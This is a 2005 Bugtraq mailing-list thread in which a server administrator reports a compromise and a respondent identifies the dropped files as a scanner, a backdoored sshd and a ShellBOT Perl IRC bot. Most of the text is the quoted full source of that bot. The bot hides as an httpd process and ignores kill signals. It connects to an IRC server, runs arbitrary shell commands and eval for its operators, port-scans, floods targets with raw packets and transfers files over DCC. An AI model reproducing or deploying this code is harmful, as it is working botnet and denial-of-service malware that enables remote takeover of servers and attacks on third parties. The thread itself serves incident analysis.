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Open Source and information security mailing list archives
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Date: Fri, 29 Apr 2005 16:21:10 -0700
From: Robert Zilbauer <zilbauer@...ppy.org>
To: bugtraq@...urityfocus.com
Subject: Re: Apache hacks (./atac, d0s.txt)
At first glance I'd say your atac.tbz contains a vulnerability scanner (ps), a
backdoored version of sshd (atac), a list of targets for the scanner
(uniq.txt), and a scan log (log.bigsshf).
The perl script also looks like a newer version of a script I pulled from a
compromised linux box a little while ago. The script you found claims to be
version 1.0 ($VERSAO = '1.0') while the one I recovered was version 0.2. I
believe it's designed to connect to an IRC server and offer services from
your machine to people in a certain IRC channel (shell access, DOS attack,
other stuff?).
If it helps, the header of the script I found contained this:
#!/usr/bin/perl
#
# ShellBOT - FBI TEAM Corporation
#
# 0ldW0lf - effbeeye81@....com
# - www.security.cnc.net
#
#
#
################ CONFIGURACAO ###################################
my $processo = '/usr/local/apache/bin/httpd -DSSL'; # Nome do processo que
vai aparece no ps
#----------------################################################
my $linas_max='8'; # Evita o flood :) depois de X linhas
#----------------################################################
...
In the FWIW file, this compromised linux box had been running a vulnerable
version of the awstats CGI which is how this script (among other things) got
in.
On Friday 29 April 2005 12:03 pm, Andrew Y Ng wrote:
> My server has been seeing some usual activities today, I don't have much
> time to get down to the bottom of things, but after I investigated briefly
> I have decided to disable PERL executable permission for www-data (Apache
> process's user), also locked /var/tmp so www-data cannot write to it.
>
> Looks like it ignores all the `kill` signals, not sure how I can actually
> kill it...
>
>
> I found the included script in /var/tmp called d0s.txt.
>
> I found a bunch of processes called ./atac 20 running, and found the
> following content in /tmp/atac:
>
> http://andrewng.com/tmp/atac.tbz
>
> here's d0s.txt:
>
> #!/usr/bin/perl
> ################ CONFIGURACAO
> ################################################################# my
> $processo = '/usr/local/apache/bin/httpd -DSSL'; # Nome do processo que
> vai aparece no ps #
> #----------------------------------------------############################
>#################### my $MODOME='+pi'; # Modo
> Do Bot #
> #----------------------------------------------############################
>#################### my $linas_max='10'; # Evita
> o flood :) depois de X linhas #
> #----------------------------------------------############################
>#################### my $sleep='3'; # ele
> dorme X segundos # ##################### IRC
> ##################################################################### my
> @adms=("DDOS"); # Nick do administrador
> #
> #----------------------------------------------############################
>#################### my @canais=("#bots ddos");# Canais
> #
> #----------------------------------------------############################
>#################### my $nick='b0t'; # Nick do
> bot. Caso esteja em uso vai aparecer # #
> # aparecer com numero radonamico no final #
> #----------------------------------------------############################
>#################### my $ircname = 'b0t'; # User ID
> #
> #----------------------------------------------############################
>#################### my $realname = '..4A.dmin.14: .4..#..D.D.OS..';
> #
> #----------------------------------------------############################
>#################### $servidor='irc.gigachat.net' unless $servidor; #
> Servidor de irc que vai ser usado # #
> # caso não seja especificado no argumento #
> #----------------------------------------------############################
>#################### my $porta='6667'; # Porta do
> servidor de irc # ################ ACESSO A SHELL
> ############################################################### my $secv =
> 1; # 1/0 pra habilita/desabilita acesso a
> shell #
> ###########################################################################
>####################
>
> my $VERSAO = '1.0';
>
> $SIG{'INT'} = 'IGNORE';
> $SIG{'HUP'} = 'IGNORE';
> $SIG{'TERM'} = 'IGNORE';
> $SIG{'CHLD'} = 'IGNORE';
> $SIG{'PS'} = 'IGNORE';
>
> use IO::Socket;
> use Socket;
> use IO::Select;
> chdir("/");
> $servidor="$ARGV[0]" if $ARGV[0];
> $0="$processo"."\0"x16;;
> my $pid=fork;
> exit if $pid;
> die "Problema com o fork: $!" unless defined($pid);
>
>
>
> our %irc_servers;
> our %DCC;
> my $dcc_sel = new IO::Select->new();
>
>
> $sel_cliente = IO::Select->new();
> sub sendraw {
> if ($#_ == '1') {
> my $socket = $_[0];
> print $socket "$_[1]\n";
> } else {
> print $IRC_cur_socket "$_[0]\n";
> }
> }
>
> sub conectar {
> my $meunick = $_[0];
> my $servidor_con = $_[1];
> my $porta_con = $_[2];
>
> my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp",
> PeerAddr=>"$servidor_con", PeerPort=>$porta_con) or return(1); if
> (defined($IRC_socket)) {
> $IRC_cur_socket = $IRC_socket;
>
> $IRC_socket->autoflush(1);
> $sel_cliente->add($IRC_socket);
>
> $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con";
> $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con";
> $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
> $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
> nick("$meunick");
> sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con
> :$realname"); sleep 1;
> }
>
> }
> my $line_temp;
> while( 1 ) {
> while (!(keys(%irc_servers))) { conectar("$nick", "$servidor",
> "$porta"); } delete($irc_servers{''}) if (defined($irc_servers{''}));
> &DCC::connections;
> my @ready = $sel_cliente->can_read(0);
> next unless(@ready);
> foreach $fh (@ready) {
> $IRC_cur_socket = $fh;
> $meunick = $irc_servers{$IRC_cur_socket}{'nick'};
> $nread = sysread($fh, $msg, 4096);
> if ($nread == 0) {
> $sel_cliente->remove($fh);
> $fh->close;
> delete($irc_servers{$fh});
> }
> @lines = split (/\n/, $msg);
>
> for(my $c=0; $c<= $#lines; $c++) {
> $line = $lines[$c];
> $line=$line_temp.$line if ($line_temp);
> $line_temp='';
> $line =~ s/\r$//;
> unless ($c == $#lines) {
> parse("$line");
> } else {
> if ($#lines == 0) {
> parse("$line");
> } elsif ($lines[$c] =~ /\r$/) {
> parse("$line");
> } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
> parse("$line");
> } else {
> $line_temp = $line;
> }
> }
> }
> }
> }
>
>
>
> sub parse {
> my $servarg = shift;
> if ($servarg =~ /^PING \:(.*)/) {
> sendraw("PONG :$1");
> } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
> my $pn=$1; my $onde = $4; my $args = $5;
> if ($args =~ /^\001VERSION\001$/) {
> notice("$pn", "\001Bot powered by DDOS TEAM\001");
> }
> if (grep {$_ =~ /^\Q$pn\E$/i } @adms) {
> if ($onde eq "$meunick"){
> shell("$pn", "$args");
> }
> if ($args =~ /^(\Q$meunick\E|\!bot)\s+(.*)/ ) {
> my $natrix = $1;
> my $arg = $2;
> if ($arg =~ /^\!(.*)/) {
> ircase("$pn","$onde","$1") unless ($natrix eq "!bot" and $arg
> =~ /^\!nick/); } elsif ($arg =~ /^\@(.*)/) {
> $ondep = $onde;
> $ondep = $pn if $onde eq $meunick;
> bfunc("$ondep","$1");
> } else {
> shell("$onde", "$arg");
> }
> }
> }
> } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
> if (lc($1) eq lc($meunick)) {
> $meunick=$4;
> $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
> }
> } elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
> nick("$meunick".int rand(9999));
> } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
> $meunick = $2;
> $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
> $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
> foreach my $canal (@canais) {
> print "$0 Executado \n";
> sendraw("JOIN $canal");
> sendraw("MODE $meunick $MODOME");
> sendraw("PRIVMSG $canal :Modo Alterado Para.4 $MODOME");
> }
> }
> }
>
> sub bfunc {
> my $printl = $_[0];
> my $funcarg = $_[1];
> if (my $pid = fork) {
> waitpid($pid, 0);
> } else {
> if (fork) {
> exit;
> } else {
> if ($funcarg =~ /^portscan (.*)/) {
> my $hostip="$1";
> my @portas=("21","22","23","25","53","80","110","143");
> my (@aberta, %porta_banner);
> foreach my $porta (@portas) {
> my $scansock = IO::Socket::INET->new(PeerAddr => $hostip,
> PeerPort => $porta, Proto => 'tcp', Timeout => 4); if ($scansock) {
> push (@aberta, $porta);
> $scansock->close;
> }
> }
>
> if (@aberta) {
> sendraw($IRC_cur_socket, "PRIVMSG $printl :portas abertas:
> @aberta"); } else {
> sendraw($IRC_cur_socket,"PRIVMSG $printl :Nenhuma porta
> aberta foi encontrada"); }
> }
> if ($funcarg =~ /^pacota\s+(.*)\s+(\d+)\s+(\d+)/) {
> my ($dtime, %pacotes) = attacker("$1", "$2", "$3");
> $dtime = 1 if $dtime == 0;
> my %bytes;
> $bytes{igmp} = $2 * $pacotes{igmp};
> $bytes{icmp} = $2 * $pacotes{icmp};
> $bytes{o} = $2 * $pacotes{o};
> $bytes{udp} = $2 * $pacotes{udp};
> $bytes{tcp} = $2 * $pacotes{tcp};
>
> sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Tempo\002:
> $dtime"."s"); sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Média de
> envio\002: ".int((($bytes{icmp}+$bytes{igmp}+$bytes{udp} +
> $bytes{o})/1024)/$dtime)." kbps");
>
>
> }
> exit;
> }
> }
> }
>
> sub ircase {
> my ($kem, $printl, $case) = @_;
>
> if ($case =~ /^join (.*)/) {
> j("$1");
> }
> if ($case =~ /^part (.*)/) {
> p("$1");
> }
> if ($case =~ /^rejoin\s+(.*)/) {
> my $chan = $1;
> if ($chan =~ /^(\d+) (.*)/) {
> for (my $ca = 1; $ca <= $1; $ca++ ) {
> p("$2");
> j("$2");
> }
> } else {
> p("$chan");
> j("$chan");
> }
> }
> if ($case =~ /^op/) {
> op("$printl", "$kem") if $case eq "op";
> my $oarg = substr($case, 3);
> op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
> }
> if ($case =~ /^deop/) {
> deop("$printl", "$kem") if $case eq "deop";
> my $oarg = substr($case, 5);
> deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
> }
> if ($case =~ /^voice/) {
> voice("$printl", "$kem") if $case eq "voice";
> $oarg = substr($case, 6);
> voice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
> }
> if ($case =~ /^devoice/) {
> devoice("$printl", "$kem") if $case eq "devoice";
> $oarg = substr($case, 8);
> devoice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
> }
> if ($case =~ /^msg\s+(\S+) (.*)/) {
> msg("$1", "$2");
> }
> if ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
> for (my $cf = 1; $cf <= $1; $cf++) {
> msg("$2", "$3");
> }
> }
> if ($case =~ /^ctcp\s+(\S+) (.*)/) {
> ctcp("$1", "$2");
> }
> if ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
> for (my $cf = 1; $cf <= $1; $cf++) {
> ctcp("$2", "$3");
> }
> }
> if ($case =~ /^invite\s+(\S+) (.*)/) {
> invite("$1", "$2");
> }
> if ($case =~ /^nick (.*)/) {
> nick("$1");
> }
> if ($case =~ /^conecta\s+(\S+)\s+(\S+)/) {
> conectar("$2", "$1", 6667);
> }
> if ($case =~ /^send\s+(\S+)\s+(\S+)/) {
> DCC::SEND("$1", "$2");
> }
> if ($case =~ /^raw (.*)/) {
> sendraw("$1");
> }
> if ($case =~ /^eval (.*)/) {
> eval "$1";
> }
> }
> sub shell {
> return unless $secv;
> my $printl=$_[0];
> my $comando=$_[1];
> if ($comando =~ /cd (.*)/) {
> chdir("$1") || msg("$printl", "Diertório inexistente!");
> return;
> }
> elsif ($pid = fork) {
> waitpid($pid, 0);
> } else {
> if (fork) {
> exit;
> } else {
> my @resp=`$comando 2>&1 3>&1`;
> my $c=0;
> foreach my $linha (@resp) {
> $c++;
> chop $linha;
> sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
> if ($c == "$linas_max") {
> $c=0;
> sleep $sleep;
> }
> }
> exit;
> }
> }
> }
>
> #eu fiz um pacotadorzinhu e talz.. dai colokemo ele aki
> sub attacker {
> my $iaddr = inet_aton($_[0]);
> my $msg = 'B' x $_[1];
> my $ftime = $_[2];
> my $cp = 0;
> my (%pacotes);
> $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} =
> $pacotes{tcp} = 0;
>
> socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
> socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
> socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
> socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
> return(undef) if $cp == 4;
> my $itime = time;
> my ($cur_time);
> while ( 1 ) {
> for (my $porta = 1; $porta <= 65000; $porta++) {
> $cur_time = time - $itime;
> last if $cur_time >= $ftime;
> send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and
> $pacotes{igmp}++; send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and
> $pacotes{udp}++; send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and
> $pacotes{icmp}++; send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and
> $pacotes{tcp}++;
>
> # DoS ?? :P
> for (my $pc = 3; $pc <= 255;$pc++) {
> next if $pc == 6;
> $cur_time = time - $itime;
> last if $cur_time >= $ftime;
> socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
> send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and
> $pacotes{o}++;; }
> }
> last if $cur_time >= $ftime;
> }
> return($cur_time, %pacotes);
> }
>
>
>
> #############
> # ALIASES #
> #############
>
> sub action {
> return unless $#_ == 1;
> sendraw("PRIVMSG $_[0] :\001ACTION $_[1]\001");
> }
>
> sub ctcp {
> return unless $#_ == 1;
> sendraw("PRIVMSG $_[0] :\001$_[1]\001");
> }
> sub msg {
> return unless $#_ == 1;
> sendraw("PRIVMSG $_[0] :$_[1]");
> }
>
> sub notice {
> return unless $#_ == 1;
> sendraw("NOTICE $_[0] :$_[1]");
> }
>
> sub op {
> return unless $#_ == 1;
> sendraw("MODE $_[0] +o $_[1]");
> }
> sub deop {
> return unless $#_ == 1;
> sendraw("MODE $_[0] -o $_[1]");
> }
> sub hop {
> return unless $#_ == 1;
> sendraw("MODE $_[0] +h $_[1]");
> }
> sub dehop {
> return unless $#_ == 1;
> sendraw("MODE $_[0] +h $_[1]");
> }
> sub voice {
> return unless $#_ == 1;
> sendraw("MODE $_[0] +v $_[1]");
> }
> sub devoice {
> return unless $#_ == 1;
> sendraw("MODE $_[0] -v $_[1]");
> }
> sub ban {
> return unless $#_ == 1;
> sendraw("MODE $_[0] +b $_[1]");
> }
> sub unban {
> return unless $#_ == 1;
> sendraw("MODE $_[0] -b $_[1]");
> }
> sub kick {
> return unless $#_ == 1;
> sendraw("KICK $_[0] $_[1] :$_[2]");
> }
>
> sub modo {
> return unless $#_ == 0;
> sendraw("MODE $_[0] $_[1]");
> }
> sub mode { modo(@_); }
>
> sub j { &join(@_); }
> sub join {
> return unless $#_ == 0;
> sendraw("JOIN $_[0]");
> }
> sub p { part(@_); }
> sub part {sendraw("PART $_[0]");}
>
> sub nick {
> return unless $#_ == 0;
> sendraw("NICK $_[0]");
> }
>
> sub invite {
> return unless $#_ == 1;
> sendraw("INVITE $_[1] $_[0]");
> }
> sub topico {
> return unless $#_ == 1;
> sendraw("TOPIC $_[0] $_[1]");
> }
> sub topic { topico(@_); }
>
> sub whois {
> return unless $#_ == 0;
> sendraw("WHOIS $_[0]");
> }
> sub who {
> return unless $#_ == 0;
> sendraw("WHO $_[0]");
> }
> sub names {
> return unless $#_ == 0;
> sendraw("NAMES $_[0]");
> }
> sub away {
> sendraw("AWAY $_[0]");
> }
> sub back { away(); }
> sub quit {
> sendraw("QUIT :$_[0]");
> }
>
>
>
> # DCC
> package DCC;
>
> sub connections {
> my @ready = $dcc_sel->can_read(1);
> # return unless (@ready);
> foreach my $fh (@ready) {
> my $dcctipo = $DCC{$fh}{tipo};
> my $arquivo = $DCC{$fh}{arquivo};
> my $bytes = $DCC{$fh}{bytes};
> my $cur_byte = $DCC{$fh}{curbyte};
> my $nick = $DCC{$fh}{nick};
>
> my $msg;
> my $nread = sysread($fh, $msg, 10240);
>
> if ($nread == 0 and $dcctipo =~ /^(get|sendcon)$/) {
> $DCC{$fh}{status} = "Cancelado";
> $DCC{$fh}{ftime} = time;
> $dcc_sel->remove($fh);
> $fh->close;
> next;
> }
>
> if ($dcctipo eq "get") {
> $DCC{$fh}{curbyte} += length($msg);
>
> my $cur_byte = $DCC{$fh}{curbyte};
>
> open(FILE, ">> $arquivo");
> print FILE "$msg" if ($cur_byte <= $bytes);
> close(FILE);
>
> my $packbyte = pack("N", $cur_byte);
> print $fh "$packbyte";
>
> if ($bytes == $cur_byte) {
> $dcc_sel->remove($fh);
> $fh->close;
> $DCC{$fh}{status} = "Recebido";
> $DCC{$fh}{ftime} = time;
> next;
> }
> } elsif ($dcctipo eq "send") {
> my $send = $fh->accept;
> $send->autoflush(1);
> $dcc_sel->add($send);
> $dcc_sel->remove($fh);
> $DCC{$send}{tipo} = 'sendcon';
> $DCC{$send}{itime} = time;
> $DCC{$send}{nick} = $nick;
> $DCC{$send}{bytes} = $bytes;
> $DCC{$send}{curbyte} = 0;
> $DCC{$send}{arquivo} = $arquivo;
> $DCC{$send}{ip} = $send->peerhost;
> $DCC{$send}{porta} = $send->peerport;
> $DCC{$send}{status} = "Enviando";
>
> #de cara manda os primeiro 1024 bytes do arkivo.. o resto fik com
> o sendcon open(FILE, "< $arquivo");
> my $fbytes;
> read(FILE, $fbytes, 1024);
> print $send "$fbytes";
> close FILE;
> # delete($DCC{$fh});
> } elsif ($dcctipo eq 'sendcon') {
> my $bytes_sended = unpack("N", $msg);
> $DCC{$fh}{curbyte} = $bytes_sended;
> if ($bytes_sended == $bytes) {
> $fh->close;
> $dcc_sel->remove($fh);
> $DCC{$fh}{status} = "Enviado";
> $DCC{$fh}{ftime} = time;
> next;
> }
> open(SENDFILE, "< $arquivo");
> seek(SENDFILE, $bytes_sended, 0);
> my $send_bytes;
> read(SENDFILE, $send_bytes, 1024);
> print $fh "$send_bytes";
> close(SENDFILE);
> }
> }
> }
>
>
> sub SEND {
> my ($nick, $arquivo) = @_;
> unless (-r "$arquivo") {
> return(0);
> }
>
> my $dccark = $arquivo;
> $dccark =~ s/[.*\/](\S+)/$1/;
>
> my $meuip = $::irc_servers{"$::IRC_cur_socket"}{'meuip'};
> my $longip = unpack("N",inet_aton($meuip));
>
> my @filestat = stat($arquivo);
> my $size_total=$filestat[7];
> if ($size_total == 0) {
> return(0);
> }
>
> my ($porta, $sendsock);
> do {
> $porta = int rand(64511);
> $porta += 1024;
> $sendsock = IO::Socket::INET->new(Listen=>1, LocalPort =>$porta, Proto
> => 'tcp') and $dcc_sel->add($sendsock); } until $sendsock;
>
> $DCC{$sendsock}{tipo} = 'send';
> $DCC{$sendsock}{nick} = $nick;
> $DCC{$sendsock}{bytes} = $size_total;
> $DCC{$sendsock}{arquivo} = $arquivo;
>
>
> &::ctcp("$nick", "DCC SEND $dccark $longip $porta $size_total");
>
> }
>
> sub GET {
> my ($arquivo, $dcclongip, $dccporta, $bytes, $nick) = @_;
> return(0) if (-e "$arquivo");
> if (open(FILE, "> $arquivo")) {
> close FILE;
> } else {
> return(0);
> }
>
> my $dccip=fixaddr($dcclongip);
> return(0) if ($dccporta < 1024 or not defined $dccip or $bytes < 1);
> my $dccsock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$dccip,
> PeerPort=>$dccporta, Timeout=>15) or return (0); $dccsock->autoflush(1);
> $dcc_sel->add($dccsock);
> $DCC{$dccsock}{tipo} = 'get';
> $DCC{$dccsock}{itime} = time;
> $DCC{$dccsock}{nick} = $nick;
> $DCC{$dccsock}{bytes} = $bytes;
> $DCC{$dccsock}{curbyte} = 0;
> $DCC{$dccsock}{arquivo} = $arquivo;
> $DCC{$dccsock}{ip} = $dccip;
> $DCC{$dccsock}{porta} = $dccporta;
> $DCC{$dccsock}{status} = "Recebendo";
> }
>
> # po fico xato de organiza o status.. dai fiz ele retorna o status de
> acordo com o socket.. dai o ADM.pl lista os sockets e faz as perguntas sub
> Status {
> my $socket = shift;
> my $sock_tipo = $DCC{$socket}{tipo};
> unless (lc($sock_tipo) eq "chat") {
> my $nick = $DCC{$socket}{nick};
> my $arquivo = $DCC{$socket}{arquivo};
> my $itime = $DCC{$socket}{itime};
> my $ftime = time;
> my $status = $DCC{$socket}{status};
> $ftime = $DCC{$socket}{ftime} if defined($DCC{$socket}{ftime});
>
> my $d_time = $ftime-$itime;
>
> my $cur_byte = $DCC{$socket}{curbyte};
> my $bytes_total = $DCC{$socket}{bytes};
>
> my $rate = 0;
> $rate = ($cur_byte/1024)/$d_time if $cur_byte > 0;
> my $porcen = ($cur_byte*100)/$bytes_total;
>
> my ($r_duv, $p_duv);
> if ($rate =~ /^(\d+)\.(\d)(\d)(\d)/) {
> $r_duv = $3; $r_duv++ if $4 >= 5;
> $rate = "$1\.$2"."$r_duv";
> }
> if ($porcen =~ /^(\d+)\.(\d)(\d)(\d)/) {
> $p_duv = $3; $p_duv++ if $4 >= 5;
> $porcen = "$1\.$2"."$p_duv";
> }
> return("$sock_tipo","$status","$nick","$arquivo","$bytes_total",
> "$cur_byte","$d_time", "$rate", "$porcen"); }
>
>
> return(0);
> }
>
>
> sub fixaddr {
> my ($address) = @_;
>
> chomp $address; # just in case, sigh.
> if ($address =~ /^\d+$/) {
> return inet_ntoa(pack "N", $address);
> } elsif ($address =~
> /^[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}$/) { return
> $address;
> } elsif ($address =~ tr/a-zA-Z//) {
> return inet_ntoa(((gethostbyname($address))[4])[0]);
> } else {
> return;
> }
> }
--
"Kids today need discipline. It's not a popular word these days:
discipline. I know Principal Flutie would have said, 'Kids need
understanding. Kids are human beings.' That's the kind of
wooly-headed liberal thinking that leads to being eaten."
- Principal Snyder, Buffy the Vampire Slayer #9
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